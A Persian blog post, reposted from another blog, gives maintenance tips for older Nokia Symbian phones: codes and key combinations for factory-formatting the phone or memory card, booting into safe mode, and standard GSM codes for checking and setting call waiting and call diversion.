    فرمت گوشی . مناسب برای زمانیکه گوشی خیلی خیلی قاطی کرده است. درواقع این کد درایو C گوشی را فرمت میکند و البته تمامی برنامه ها و فایلهای موجود بر روی این درایو از بین خواهند رفت . بعد از وارد کردن این کد ، گوشی از شما تقاضای وارد کردن security code را خواهد داشت که اگر آنرا قبلا تغییر نداده باشید 12345 میباشد.)

    روش مستقیم فرمت گوشی های اسمارت فون بدون نیاز به منوی گوشی:
    اگر پسوورد ( security code ) گوشی قبلا تغییر داده شده است و آنرا نمی دانید و همچنین گوشی شما از سیستم عامل سیمبین ورژن7 استفاده می کند ( مثل 6600 و 7610 و 6620 و 6260 و 9500 و 9300 ) ابتدا گوشی را خاموش کرده و در حالیکه سه دگمه سبز ، * ، 3 را همزمان نگه داشته اید گوشی را روشن کنید و آنها را آنقدر نگه دارید تا کار فرمت آغاز بشود. دراین حالت از شما دیگر پسوورد خواسته نخواهد شد و مستقیما گوشی فرمت خواهد شد.

    فرمت کارت حافظه گوشی:
    به صورت safe mode گوشی را روشن کنید ( برای اینکار درحالیکه دگمه pen (مداد) را نگه داشته اید گوشی را روشن کنید البته درظاهر تفاوتی را مشاهده نخواهید کرد.) سپس این مسیر را در گوشی بروید: menu>>Extras>>Memory>>Format MEM.card
    حالت safe mode بسیار به دردتان خواهد خورد و در مواقعیکه گوشی هنگ کرده و بالا نمی آید احتمالا به دادتان خواهد رسید و باعث می شود گوشی بالا بیاید و بعد از آن بتوانید گوشی را درصورت تمایلتان فورمت و یا کار دیگری بر روی آن بکنید. درواقع کار آن همانند عمل safe mode ویندوز می باشد و در این حالت دیگر اکثر برنامه های کاربردی که در پشت صحنه همیشه در حال اجرا بودند ، دیگر اجرا نخواهند شد و به همین دلیل گوشی اصطلاحا به راحتی بالا می آید. که در گوشی های مختلف کمی متفاوت می باشد و در اسمارت فونها اکثرا باید کلید خاصی را ( کلید ABC و یا PEN ) را نگه داشته و سپس گوشی را روشن کنید.تاکید می کنم که در حالت safe mode شما تغییری در ظاهر منوی گوشی نخواهید دید و همه چیز در پشت صحنه اتفاق افتاده است و یا بهتر بگویم از اتفاق افتادن آنها ( برنامه ها ) جلوگیری کرده است.

    #43#*
    کنترل حالت call waiting ( انتظار) گوشی.

    #61#*
    کنترل شماره ای که به عنوان divert در صورتیکه به تلفن پاسخ داده نشود ، تعیین گردیده است.

    #62#*
    کنترل شماره ای که به عنوان divert درصورتیکه شبکه دچار اشکال باشد( آنتن نباشد) تعیین گردیده است.

    #67#*
    کنترل شماره ای که به عنوان divert درصورتیکه گوشی اشغال باشد ، تعیین گردیده است.

    #شماره*21**
    divert به شماره مورد نظر در هر حالتی.

    #شماره*61**
    divert به شماره موردنظر در حالت عدم پاسخ گوئی ( no Reply )به تلفن زده شده.

    #شماره*67**
    ( on Busy )divert به شماره مورد نظر در حالت اشغال بودن گوشی
  • به نقل از وبلاگ یکی دیگه!!!
ارسال در تاريخ سه شنبه 17 بهمن1385 توسط الهه
قالب وبلاگ